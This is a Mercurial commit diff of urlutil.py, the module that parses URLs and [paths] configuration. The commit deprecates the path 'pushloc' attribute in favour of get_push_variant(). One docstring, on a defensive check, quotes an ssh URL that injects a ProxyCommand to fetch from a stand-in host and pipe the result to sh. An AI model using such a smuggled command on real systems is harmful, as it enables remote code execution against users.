##// END OF EJS Templates
path: deprecated the `pushloc` attribute...
marmoute -
r50601:f27fbb90 default
parent child Browse files
Show More
@@ -1,978 +1,987 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23 from . import (
24 24 stringutil,
25 25 )
26 26
27 27
28 28 if pycompat.TYPE_CHECKING:
29 29 from typing import (
30 30 Union,
31 31 )
32 32
33 33 urlreq = urllibcompat.urlreq
34 34
35 35
36 36 def getport(port):
37 37 # type: (Union[bytes, int]) -> int
38 38 """Return the port for a given network service.
39 39
40 40 If port is an integer, it's returned as is. If it's a string, it's
41 41 looked up using socket.getservbyname(). If there's no matching
42 42 service, error.Abort is raised.
43 43 """
44 44 try:
45 45 return int(port)
46 46 except ValueError:
47 47 pass
48 48
49 49 try:
50 50 return socket.getservbyname(pycompat.sysstr(port))
51 51 except socket.error:
52 52 raise error.Abort(
53 53 _(b"no port number associated with service '%s'") % port
54 54 )
55 55
56 56
57 57 class url:
58 58 r"""Reliable URL parser.
59 59
60 60 This parses URLs and provides attributes for the following
61 61 components:
62 62
63 63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64 64
65 65 Missing components are set to None. The only exception is
66 66 fragment, which is set to '' if present but empty.
67 67
68 68 If parsefragment is False, fragment is included in query. If
69 69 parsequery is False, query is included in path. If both are
70 70 False, both fragment and query are included in path.
71 71
72 72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73 73
74 74 Note that for backward compatibility reasons, bundle URLs do not
75 75 take host names. That means 'bundle://../' has a path of '../'.
76 76
77 77 Examples:
78 78
79 79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 83 >>> url(b'file:///home/joe/repo')
84 84 <url scheme: 'file', path: '/home/joe/repo'>
85 85 >>> url(b'file:///c:/temp/foo/')
86 86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 87 >>> url(b'bundle:foo')
88 88 <url scheme: 'bundle', path: 'foo'>
89 89 >>> url(b'bundle://../foo')
90 90 <url scheme: 'bundle', path: '../foo'>
91 91 >>> url(br'c:\foo\bar')
92 92 <url path: 'c:\\foo\\bar'>
93 93 >>> url(br'\\blah\blah\blah')
94 94 <url path: '\\\\blah\\blah\\blah'>
95 95 >>> url(br'\\blah\blah\blah#baz')
96 96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 97 >>> url(br'file:///C:\users\me')
98 98 <url scheme: 'file', path: 'C:\\users\\me'>
99 99
100 100 Authentication credentials:
101 101
102 102 >>> url(b'ssh://joe:xyz@x/repo')
103 103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 104 >>> url(b'ssh://joe@x/repo')
105 105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106 106
107 107 Query strings and fragments:
108 108
109 109 >>> url(b'http://host/a?b#c')
110 110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113 113
114 114 Empty path:
115 115
116 116 >>> url(b'')
117 117 <url path: ''>
118 118 >>> url(b'#a')
119 119 <url path: '', fragment: 'a'>
120 120 >>> url(b'http://host/')
121 121 <url scheme: 'http', host: 'host', path: ''>
122 122 >>> url(b'http://host/#a')
123 123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124 124
125 125 Only scheme:
126 126
127 127 >>> url(b'http:')
128 128 <url scheme: 'http'>
129 129 """
130 130
131 131 _safechars = b"!~*'()+"
132 132 _safepchars = b"/!~*'()+:\\"
133 133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134 134
135 135 def __init__(self, path, parsequery=True, parsefragment=True):
136 136 # type: (bytes, bool, bool) -> None
137 137 # We slowly chomp away at path until we have only the path left
138 138 self.scheme = self.user = self.passwd = self.host = None
139 139 self.port = self.path = self.query = self.fragment = None
140 140 self._localpath = True
141 141 self._hostport = b''
142 142 self._origpath = path
143 143
144 144 if parsefragment and b'#' in path:
145 145 path, self.fragment = path.split(b'#', 1)
146 146
147 147 # special case for Windows drive letters and UNC paths
148 148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 149 self.path = path
150 150 return
151 151
152 152 # For compatibility reasons, we can't handle bundle paths as
153 153 # normal URLS
154 154 if path.startswith(b'bundle:'):
155 155 self.scheme = b'bundle'
156 156 path = path[7:]
157 157 if path.startswith(b'//'):
158 158 path = path[2:]
159 159 self.path = path
160 160 return
161 161
162 162 if self._matchscheme(path):
163 163 parts = path.split(b':', 1)
164 164 if parts[0]:
165 165 self.scheme, path = parts
166 166 self._localpath = False
167 167
168 168 if not path:
169 169 path = None
170 170 if self._localpath:
171 171 self.path = b''
172 172 return
173 173 else:
174 174 if self._localpath:
175 175 self.path = path
176 176 return
177 177
178 178 if parsequery and b'?' in path:
179 179 path, self.query = path.split(b'?', 1)
180 180 if not path:
181 181 path = None
182 182 if not self.query:
183 183 self.query = None
184 184
185 185 # // is required to specify a host/authority
186 186 if path and path.startswith(b'//'):
187 187 parts = path[2:].split(b'/', 1)
188 188 if len(parts) > 1:
189 189 self.host, path = parts
190 190 else:
191 191 self.host = parts[0]
192 192 path = None
193 193 if not self.host:
194 194 self.host = None
195 195 # path of file:///d is /d
196 196 # path of file:///d:/ is d:/, not /d:/
197 197 if path and not hasdriveletter(path):
198 198 path = b'/' + path
199 199
200 200 if self.host and b'@' in self.host:
201 201 self.user, self.host = self.host.rsplit(b'@', 1)
202 202 if b':' in self.user:
203 203 self.user, self.passwd = self.user.split(b':', 1)
204 204 if not self.host:
205 205 self.host = None
206 206
207 207 # Don't split on colons in IPv6 addresses without ports
208 208 if (
209 209 self.host
210 210 and b':' in self.host
211 211 and not (
212 212 self.host.startswith(b'[') and self.host.endswith(b']')
213 213 )
214 214 ):
215 215 self._hostport = self.host
216 216 self.host, self.port = self.host.rsplit(b':', 1)
217 217 if not self.host:
218 218 self.host = None
219 219
220 220 if (
221 221 self.host
222 222 and self.scheme == b'file'
223 223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 224 ):
225 225 raise error.Abort(
226 226 _(b'file:// URLs can only refer to localhost')
227 227 )
228 228
229 229 self.path = path
230 230
231 231 # leave the query string escaped
232 232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 233 v = getattr(self, a)
234 234 if v is not None:
235 235 setattr(self, a, urlreq.unquote(v))
236 236
237 237 def copy(self):
238 238 u = url(b'temporary useless value')
239 239 u.path = self.path
240 240 u.scheme = self.scheme
241 241 u.user = self.user
242 242 u.passwd = self.passwd
243 243 u.host = self.host
244 244 u.path = self.path
245 245 u.query = self.query
246 246 u.fragment = self.fragment
247 247 u._localpath = self._localpath
248 248 u._hostport = self._hostport
249 249 u._origpath = self._origpath
250 250 return u
251 251
252 252 @encoding.strmethod
253 253 def __repr__(self):
254 254 attrs = []
255 255 for a in (
256 256 b'scheme',
257 257 b'user',
258 258 b'passwd',
259 259 b'host',
260 260 b'port',
261 261 b'path',
262 262 b'query',
263 263 b'fragment',
264 264 ):
265 265 v = getattr(self, a)
266 266 if v is not None:
267 267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 268 return b'<url %s>' % b', '.join(attrs)
269 269
270 270 def __bytes__(self):
271 271 r"""Join the URL's components back into a URL string.
272 272
273 273 Examples:
274 274
275 275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 278 'http://user:pw@host:80/?foo=bar&baz=42'
279 279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 282 'ssh://user:pw@[::1]:2200//home/joe#'
283 283 >>> bytes(url(b'http://localhost:80//'))
284 284 'http://localhost:80//'
285 285 >>> bytes(url(b'http://localhost:80/'))
286 286 'http://localhost:80/'
287 287 >>> bytes(url(b'http://localhost:80'))
288 288 'http://localhost:80/'
289 289 >>> bytes(url(b'bundle:foo'))
290 290 'bundle:foo'
291 291 >>> bytes(url(b'bundle://../foo'))
292 292 'bundle:../foo'
293 293 >>> bytes(url(b'path'))
294 294 'path'
295 295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 296 'file:///tmp/foo/bar'
297 297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 298 'file:///c:/tmp/foo/bar'
299 299 >>> print(url(br'bundle:foo\bar'))
300 300 bundle:foo\bar
301 301 >>> print(url(br'file:///D:\data\hg'))
302 302 file:///D:\data\hg
303 303 """
304 304 if self._localpath:
305 305 s = self.path
306 306 if self.scheme == b'bundle':
307 307 s = b'bundle:' + s
308 308 if self.fragment:
309 309 s += b'#' + self.fragment
310 310 return s
311 311
312 312 s = self.scheme + b':'
313 313 if self.user or self.passwd or self.host:
314 314 s += b'//'
315 315 elif self.scheme and (
316 316 not self.path
317 317 or self.path.startswith(b'/')
318 318 or hasdriveletter(self.path)
319 319 ):
320 320 s += b'//'
321 321 if hasdriveletter(self.path):
322 322 s += b'/'
323 323 if self.user:
324 324 s += urlreq.quote(self.user, safe=self._safechars)
325 325 if self.passwd:
326 326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 327 if self.user or self.passwd:
328 328 s += b'@'
329 329 if self.host:
330 330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 331 s += urlreq.quote(self.host)
332 332 else:
333 333 s += self.host
334 334 if self.port:
335 335 s += b':' + urlreq.quote(self.port)
336 336 if self.host:
337 337 s += b'/'
338 338 if self.path:
339 339 # TODO: similar to the query string, we should not unescape the
340 340 # path when we store it, the path might contain '%2f' = '/',
341 341 # which we should *not* escape.
342 342 s += urlreq.quote(self.path, safe=self._safepchars)
343 343 if self.query:
344 344 # we store the query in escaped form.
345 345 s += b'?' + self.query
346 346 if self.fragment is not None:
347 347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 348 return s
349 349
350 350 __str__ = encoding.strmethod(__bytes__)
351 351
352 352 def authinfo(self):
353 353 user, passwd = self.user, self.passwd
354 354 try:
355 355 self.user, self.passwd = None, None
356 356 s = bytes(self)
357 357 finally:
358 358 self.user, self.passwd = user, passwd
359 359 if not self.user:
360 360 return (s, None)
361 361 # authinfo[1] is passed to urllib2 password manager, and its
362 362 # URIs must not contain credentials. The host is passed in the
363 363 # URIs list because Python < 2.4.3 uses only that to search for
364 364 # a password.
365 365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366 366
367 367 def isabs(self):
368 368 if self.scheme and self.scheme != b'file':
369 369 return True # remote URL
370 370 if hasdriveletter(self.path):
371 371 return True # absolute for our purposes - can't be joined()
372 372 if self.path.startswith(br'\\'):
373 373 return True # Windows UNC path
374 374 if self.path.startswith(b'/'):
375 375 return True # POSIX-style
376 376 return False
377 377
378 378 def localpath(self):
379 379 # type: () -> bytes
380 380 if self.scheme == b'file' or self.scheme == b'bundle':
381 381 path = self.path or b'/'
382 382 # For Windows, we need to promote hosts containing drive
383 383 # letters to paths with drive letters.
384 384 if hasdriveletter(self._hostport):
385 385 path = self._hostport + b'/' + self.path
386 386 elif (
387 387 self.host is not None and self.path and not hasdriveletter(path)
388 388 ):
389 389 path = b'/' + path
390 390 return path
391 391 return self._origpath
392 392
393 393 def islocal(self):
394 394 '''whether localpath will return something that posixfile can open'''
395 395 return (
396 396 not self.scheme
397 397 or self.scheme == b'file'
398 398 or self.scheme == b'bundle'
399 399 )
400 400
401 401
402 402 def hasscheme(path):
403 403 # type: (bytes) -> bool
404 404 return bool(url(path).scheme) # cast to help pytype
405 405
406 406
407 407 def hasdriveletter(path):
408 408 # type: (bytes) -> bool
409 409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410 410
411 411
412 412 def urllocalpath(path):
413 413 # type: (bytes) -> bytes
414 414 return url(path, parsequery=False, parsefragment=False).localpath()
415 415
416 416
417 417 def checksafessh(path):
418 418 # type: (bytes) -> None
419 419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420 420
421 421 This is a sanity check for ssh urls. ssh will parse the first item as
422 422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 423 Let's prevent these potentially exploited urls entirely and warn the
424 424 user.
425 425
426 426 Raises an error.Abort when the url is unsafe.
427 427 """
428 428 path = urlreq.unquote(path)
429 429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 430 raise error.Abort(
431 431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 432 )
433 433
434 434
435 435 def hidepassword(u):
436 436 # type: (bytes) -> bytes
437 437 '''hide user credential in a url string'''
438 438 u = url(u)
439 439 if u.passwd:
440 440 u.passwd = b'***'
441 441 return bytes(u)
442 442
443 443
444 444 def removeauth(u):
445 445 # type: (bytes) -> bytes
446 446 '''remove all authentication information from a url string'''
447 447 u = url(u)
448 448 u.user = u.passwd = None
449 449 return bytes(u)
450 450
451 451
452 452 def list_paths(ui, target_path=None):
453 453 """list all the (name, paths) in the passed ui"""
454 454 result = []
455 455 if target_path is None:
456 456 for name, paths in sorted(ui.paths.items()):
457 457 for p in paths:
458 458 result.append((name, p))
459 459
460 460 else:
461 461 for path in ui.paths.get(target_path, []):
462 462 result.append((target_path, path))
463 463 return result
464 464
465 465
466 466 def try_path(ui, url):
467 467 """try to build a path from a url
468 468
469 469 Return None if no Path could built.
470 470 """
471 471 try:
472 472 # we pass the ui instance are warning might need to be issued
473 473 return path(ui, None, rawloc=url)
474 474 except ValueError:
475 475 return None
476 476
477 477
478 478 def get_push_paths(repo, ui, dests):
479 479 """yields all the `path` selected as push destination by `dests`"""
480 480 if not dests:
481 481 if b'default-push' in ui.paths:
482 482 for p in ui.paths[b'default-push']:
483 483 yield p.get_push_variant()
484 484 elif b'default' in ui.paths:
485 485 for p in ui.paths[b'default']:
486 486 yield p.get_push_variant()
487 487 else:
488 488 raise error.ConfigError(
489 489 _(b'default repository not configured!'),
490 490 hint=_(b"see 'hg help config.paths'"),
491 491 )
492 492 else:
493 493 for dest in dests:
494 494 if dest in ui.paths:
495 495 for p in ui.paths[dest]:
496 496 yield p.get_push_variant()
497 497 else:
498 498 path = try_path(ui, dest)
499 499 if path is None:
500 500 msg = _(b'repository %s does not exist')
501 501 msg %= dest
502 502 raise error.RepoError(msg)
503 503 yield path.get_push_variant()
504 504
505 505
506 506 def get_pull_paths(repo, ui, sources):
507 507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 508 if not sources:
509 509 sources = [b'default']
510 510 for source in sources:
511 511 if source in ui.paths:
512 512 for p in ui.paths[source]:
513 513 yield p
514 514 else:
515 515 p = path(ui, None, source, validate_path=False)
516 516 yield p
517 517
518 518
519 519 def get_unique_push_path(action, repo, ui, dest=None):
520 520 """return a unique `path` or abort if multiple are found
521 521
522 522 This is useful for command and action that does not support multiple
523 523 destination (yet).
524 524
525 525 Note that for now, we cannot get multiple destination so this function is "trivial".
526 526
527 527 The `action` parameter will be used for the error message.
528 528 """
529 529 if dest is None:
530 530 dests = []
531 531 else:
532 532 dests = [dest]
533 533 dests = list(get_push_paths(repo, ui, dests))
534 534 if len(dests) != 1:
535 535 if dest is None:
536 536 msg = _(
537 537 b"default path points to %d urls while %s only supports one"
538 538 )
539 539 msg %= (len(dests), action)
540 540 else:
541 541 msg = _(b"path points to %d urls while %s only supports one: %s")
542 542 msg %= (len(dests), action, dest)
543 543 raise error.Abort(msg)
544 544 return dests[0]
545 545
546 546
547 547 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
548 548 """return a unique `(path, branch)` or abort if multiple are found
549 549
550 550 This is useful for command and action that does not support multiple
551 551 destination (yet).
552 552
553 553 Note that for now, we cannot get multiple destination so this function is "trivial".
554 554
555 555 The `action` parameter will be used for the error message.
556 556 """
557 557 urls = []
558 558 if source is None:
559 559 if b'default' in ui.paths:
560 560 urls.extend(p.rawloc for p in ui.paths[b'default'])
561 561 else:
562 562 # XXX this is the historical default behavior, but that is not
563 563 # great, consider breaking BC on this.
564 564 urls.append(b'default')
565 565 else:
566 566 if source in ui.paths:
567 567 urls.extend(p.rawloc for p in ui.paths[source])
568 568 else:
569 569 # Try to resolve as a local path or URI.
570 570 path = try_path(ui, source)
571 571 if path is not None:
572 572 urls.append(path.rawloc)
573 573 else:
574 574 urls.append(source)
575 575 if len(urls) != 1:
576 576 if source is None:
577 577 msg = _(
578 578 b"default path points to %d urls while %s only supports one"
579 579 )
580 580 msg %= (len(urls), action)
581 581 else:
582 582 msg = _(b"path points to %d urls while %s only supports one: %s")
583 583 msg %= (len(urls), action, source)
584 584 raise error.Abort(msg)
585 585 return parseurl(urls[0], default_branches)
586 586
587 587
588 588 def get_clone_path(ui, source, default_branches=()):
589 589 """return the `(origsource, path, branch)` selected as clone source"""
590 590 urls = []
591 591 if source is None:
592 592 if b'default' in ui.paths:
593 593 urls.extend(p.rawloc for p in ui.paths[b'default'])
594 594 else:
595 595 # XXX this is the historical default behavior, but that is not
596 596 # great, consider breaking BC on this.
597 597 urls.append(b'default')
598 598 else:
599 599 if source in ui.paths:
600 600 urls.extend(p.rawloc for p in ui.paths[source])
601 601 else:
602 602 # Try to resolve as a local path or URI.
603 603 path = try_path(ui, source)
604 604 if path is not None:
605 605 urls.append(path.rawloc)
606 606 else:
607 607 urls.append(source)
608 608 if len(urls) != 1:
609 609 if source is None:
610 610 msg = _(
611 611 b"default path points to %d urls while only one is supported"
612 612 )
613 613 msg %= len(urls)
614 614 else:
615 615 msg = _(b"path points to %d urls while only one is supported: %s")
616 616 msg %= (len(urls), source)
617 617 raise error.Abort(msg)
618 618 url = urls[0]
619 619 clone_path, branch = parseurl(url, default_branches)
620 620 return url, clone_path, branch
621 621
622 622
623 623 def parseurl(path, branches=None):
624 624 '''parse url#branch, returning (url, (branch, branches))'''
625 625 u = url(path)
626 626 branch = None
627 627 if u.fragment:
628 628 branch = u.fragment
629 629 u.fragment = None
630 630 return bytes(u), (branch, branches or [])
631 631
632 632
633 633 class paths(dict):
634 634 """Represents a collection of paths and their configs.
635 635
636 636 Data is initially derived from ui instances and the config files they have
637 637 loaded.
638 638 """
639 639
640 640 def __init__(self, ui):
641 641 dict.__init__(self)
642 642
643 643 home_path = os.path.expanduser(b'~')
644 644
645 645 for name, value in ui.configitems(b'paths', ignoresub=True):
646 646 # No location is the same as not existing.
647 647 if not value:
648 648 continue
649 649 _value, sub_opts = ui.configsuboptions(b'paths', name)
650 650 s = ui.configsource(b'paths', name)
651 651 root_key = (name, value, s)
652 652 root = ui._path_to_root.get(root_key, home_path)
653 653
654 654 multi_url = sub_opts.get(b'multi-urls')
655 655 if multi_url is not None and stringutil.parsebool(multi_url):
656 656 base_locs = stringutil.parselist(value)
657 657 else:
658 658 base_locs = [value]
659 659
660 660 paths = []
661 661 for loc in base_locs:
662 662 loc = os.path.expandvars(loc)
663 663 loc = os.path.expanduser(loc)
664 664 if not hasscheme(loc) and not os.path.isabs(loc):
665 665 loc = os.path.normpath(os.path.join(root, loc))
666 666 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
667 667 paths.append(p)
668 668 self[name] = paths
669 669
670 670 for name, old_paths in sorted(self.items()):
671 671 new_paths = []
672 672 for p in old_paths:
673 673 new_paths.extend(_chain_path(p, ui, self))
674 674 self[name] = new_paths
675 675
676 676 def getpath(self, ui, name, default=None):
677 677 """Return a ``path`` from a string, falling back to default.
678 678
679 679 ``name`` can be a named path or locations. Locations are filesystem
680 680 paths or URIs.
681 681
682 682 Returns None if ``name`` is not a registered path, a URI, or a local
683 683 path to a repo.
684 684 """
685 685 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
686 686 ui.deprecwarn(msg, b'6.0')
687 687 # Only fall back to default if no path was requested.
688 688 if name is None:
689 689 if not default:
690 690 default = ()
691 691 elif not isinstance(default, (tuple, list)):
692 692 default = (default,)
693 693 for k in default:
694 694 try:
695 695 return self[k][0]
696 696 except KeyError:
697 697 continue
698 698 return None
699 699
700 700 # Most likely empty string.
701 701 # This may need to raise in the future.
702 702 if not name:
703 703 return None
704 704 if name in self:
705 705 return self[name][0]
706 706 else:
707 707 # Try to resolve as a local path or URI.
708 708 path = try_path(ui, name)
709 709 if path is None:
710 710 raise error.RepoError(_(b'repository %s does not exist') % name)
711 711 return path.rawloc
712 712
713 713
714 714 _pathsuboptions = {}
715 715
716 716
717 717 def pathsuboption(option, attr):
718 718 """Decorator used to declare a path sub-option.
719 719
720 720 Arguments are the sub-option name and the attribute it should set on
721 721 ``path`` instances.
722 722
723 723 The decorated function will receive as arguments a ``ui`` instance,
724 724 ``path`` instance, and the string value of this option from the config.
725 725 The function should return the value that will be set on the ``path``
726 726 instance.
727 727
728 728 This decorator can be used to perform additional verification of
729 729 sub-options and to change the type of sub-options.
730 730 """
731 731
732 732 def register(func):
733 733 _pathsuboptions[option] = (attr, func)
734 734 return func
735 735
736 736 return register
737 737
738 738
739 @pathsuboption(b'pushurl', b'pushloc')
739 @pathsuboption(b'pushurl', b'_pushloc')
740 740 def pushurlpathoption(ui, path, value):
741 741 u = url(value)
742 742 # Actually require a URL.
743 743 if not u.scheme:
744 744 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
745 745 msg %= (path.name, value)
746 746 ui.warn(msg)
747 747 return None
748 748
749 749 # Don't support the #foo syntax in the push URL to declare branch to
750 750 # push.
751 751 if u.fragment:
752 752 ui.warn(
753 753 _(
754 754 b'("#fragment" in paths.%s:pushurl not supported; '
755 755 b'ignoring)\n'
756 756 )
757 757 % path.name
758 758 )
759 759 u.fragment = None
760 760
761 761 return bytes(u)
762 762
763 763
764 764 @pathsuboption(b'pushrev', b'pushrev')
765 765 def pushrevpathoption(ui, path, value):
766 766 return value
767 767
768 768
769 769 SUPPORTED_BOOKMARKS_MODES = {
770 770 b'default',
771 771 b'mirror',
772 772 b'ignore',
773 773 }
774 774
775 775
776 776 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
777 777 def bookmarks_mode_option(ui, path, value):
778 778 if value not in SUPPORTED_BOOKMARKS_MODES:
779 779 path_name = path.name
780 780 if path_name is None:
781 781 # this is an "anonymous" path, config comes from the global one
782 782 path_name = b'*'
783 783 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
784 784 msg %= (path_name, value)
785 785 ui.warn(msg)
786 786 if value == b'default':
787 787 value = None
788 788 return value
789 789
790 790
791 791 @pathsuboption(b'multi-urls', b'multi_urls')
792 792 def multiurls_pathoption(ui, path, value):
793 793 res = stringutil.parsebool(value)
794 794 if res is None:
795 795 ui.warn(
796 796 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
797 797 )
798 798 res = False
799 799 return res
800 800
801 801
802 802 def _chain_path(base_path, ui, paths):
803 803 """return the result of "path://" logic applied on a given path"""
804 804 new_paths = []
805 805 if base_path.url.scheme != b'path':
806 806 new_paths.append(base_path)
807 807 else:
808 808 assert base_path.url.path is None
809 809 sub_paths = paths.get(base_path.url.host)
810 810 if sub_paths is None:
811 811 m = _(b'cannot use `%s`, "%s" is not a known path')
812 812 m %= (base_path.rawloc, base_path.url.host)
813 813 raise error.Abort(m)
814 814 for subpath in sub_paths:
815 815 path = base_path.copy()
816 816 if subpath.raw_url.scheme == b'path':
817 817 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
818 818 m %= (path.rawloc, path.url.host)
819 819 raise error.Abort(m)
820 820 path.url = subpath.url
821 821 path.rawloc = subpath.rawloc
822 822 path.loc = subpath.loc
823 823 if path.branch is None:
824 824 path.branch = subpath.branch
825 825 else:
826 826 base = path.rawloc.rsplit(b'#', 1)[0]
827 827 path.rawloc = b'%s#%s' % (base, path.branch)
828 828 suboptions = subpath._all_sub_opts.copy()
829 829 suboptions.update(path._own_sub_opts)
830 830 path._apply_suboptions(ui, suboptions)
831 831 new_paths.append(path)
832 832 return new_paths
833 833
834 834
835 835 class path:
836 836 """Represents an individual path and its configuration."""
837 837
838 838 def __init__(
839 839 self,
840 840 ui=None,
841 841 name=None,
842 842 rawloc=None,
843 843 suboptions=None,
844 844 validate_path=True,
845 845 ):
846 846 """Construct a path from its config options.
847 847
848 848 ``ui`` is the ``ui`` instance the path is coming from.
849 849 ``name`` is the symbolic name of the path.
850 850 ``rawloc`` is the raw location, as defined in the config.
851 ``pushloc`` is the raw locations pushes should be made to.
851 ``_pushloc`` is the raw locations pushes should be made to.
852 (see the `get_push_variant` method)
852 853
853 854 If ``name`` is not defined, we require that the location be a) a local
854 855 filesystem path with a .hg directory or b) a URL. If not,
855 856 ``ValueError`` is raised.
856 857 """
857 858 if ui is None:
858 859 # used in copy
859 860 assert name is None
860 861 assert rawloc is None
861 862 assert suboptions is None
862 863 return
863 864
864 865 if not rawloc:
865 866 raise ValueError(b'rawloc must be defined')
866 867
867 868 self.name = name
868 869
869 870 # set by path variant to point to their "non-push" version
870 871 self.main_path = None
871 872 self._setup_url(rawloc)
872 873
873 874 if validate_path:
874 875 self._validate_path()
875 876
876 877 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
877 878 self._own_sub_opts = {}
878 879 if suboptions is not None:
879 880 self._own_sub_opts = suboptions.copy()
880 881 sub_opts.update(suboptions)
881 882 self._all_sub_opts = sub_opts.copy()
882 883
883 884 self._apply_suboptions(ui, sub_opts)
884 885
885 886 def _setup_url(self, rawloc):
886 887 # Locations may define branches via syntax <base>#<branch>.
887 888 u = url(rawloc)
888 889 branch = None
889 890 if u.fragment:
890 891 branch = u.fragment
891 892 u.fragment = None
892 893
893 894 self.url = u
894 895 # the url from the config/command line before dealing with `path://`
895 896 self.raw_url = u.copy()
896 897 self.branch = branch
897 898
898 899 self.rawloc = rawloc
899 900 self.loc = b'%s' % u
900 901
901 902 def copy(self):
902 903 """make a copy of this path object"""
903 904 new = self.__class__()
904 905 for k, v in self.__dict__.items():
905 906 new_copy = getattr(v, 'copy', None)
906 907 if new_copy is not None:
907 908 v = new_copy()
908 909 new.__dict__[k] = v
909 910 return new
910 911
911 912 @property
912 913 def is_push_variant(self):
913 914 """is this a path variant to be used for pushing"""
914 915 return self.main_path is not None
915 916
916 917 def get_push_variant(self):
917 918 """get a "copy" of the path, but suitable for pushing
918 919
919 920 This means using the value of the `pushurl` option (if any) as the url.
920 921
921 922 The original path is available in the `main_path` attribute.
922 923 """
923 924 if self.main_path:
924 925 return self
925 926 new = self.copy()
926 927 new.main_path = self
927 if self.pushloc:
928 new._setup_url(self.pushloc)
928 if self._pushloc:
929 new._setup_url(self._pushloc)
929 930 return new
930 931
932 def pushloc(self):
933 """compatibility layer for the deprecated attributes"""
934 from .. import util # avoid a cycle
935
936 msg = "don't use path.pushloc, use path.get_push_variant()"
937 util.nouideprecwarn(msg, b"6.5")
938 return self._pushloc
939
931 940 def _validate_path(self):
932 941 # When given a raw location but not a symbolic name, validate the
933 942 # location is valid.
934 943 if (
935 944 not self.name
936 945 and not self.url.scheme
937 946 and not self._isvalidlocalpath(self.loc)
938 947 ):
939 948 raise ValueError(
940 949 b'location is not a URL or path to a local '
941 950 b'repo: %s' % self.rawloc
942 951 )
943 952
944 953 def _apply_suboptions(self, ui, sub_options):
945 954 # Now process the sub-options. If a sub-option is registered, its
946 955 # attribute will always be present. The value will be None if there
947 956 # was no valid sub-option.
948 957 for suboption, (attr, func) in _pathsuboptions.items():
949 958 if suboption not in sub_options:
950 959 setattr(self, attr, None)
951 960 continue
952 961
953 962 value = func(ui, self, sub_options[suboption])
954 963 setattr(self, attr, value)
955 964
956 965 def _isvalidlocalpath(self, path):
957 966 """Returns True if the given path is a potentially valid repository.
958 967 This is its own function so that extensions can change the definition of
959 968 'valid' in this case (like when pulling from a git repo into a hg
960 969 one)."""
961 970 try:
962 971 return os.path.isdir(os.path.join(path, b'.hg'))
963 972 # Python 2 may return TypeError. Python 3, ValueError.
964 973 except (TypeError, ValueError):
965 974 return False
966 975
967 976 @property
968 977 def suboptions(self):
969 978 """Return sub-options and their values for this path.
970 979
971 980 This is intended to be used for presentation purposes.
972 981 """
973 982 d = {}
974 983 for subopt, (attr, _func) in _pathsuboptions.items():
975 984 value = getattr(self, attr)
976 985 if value is not None:
977 986 d[subopt] = value
978 987 return d
General Comments 0
You need to be logged in to leave comments. Login now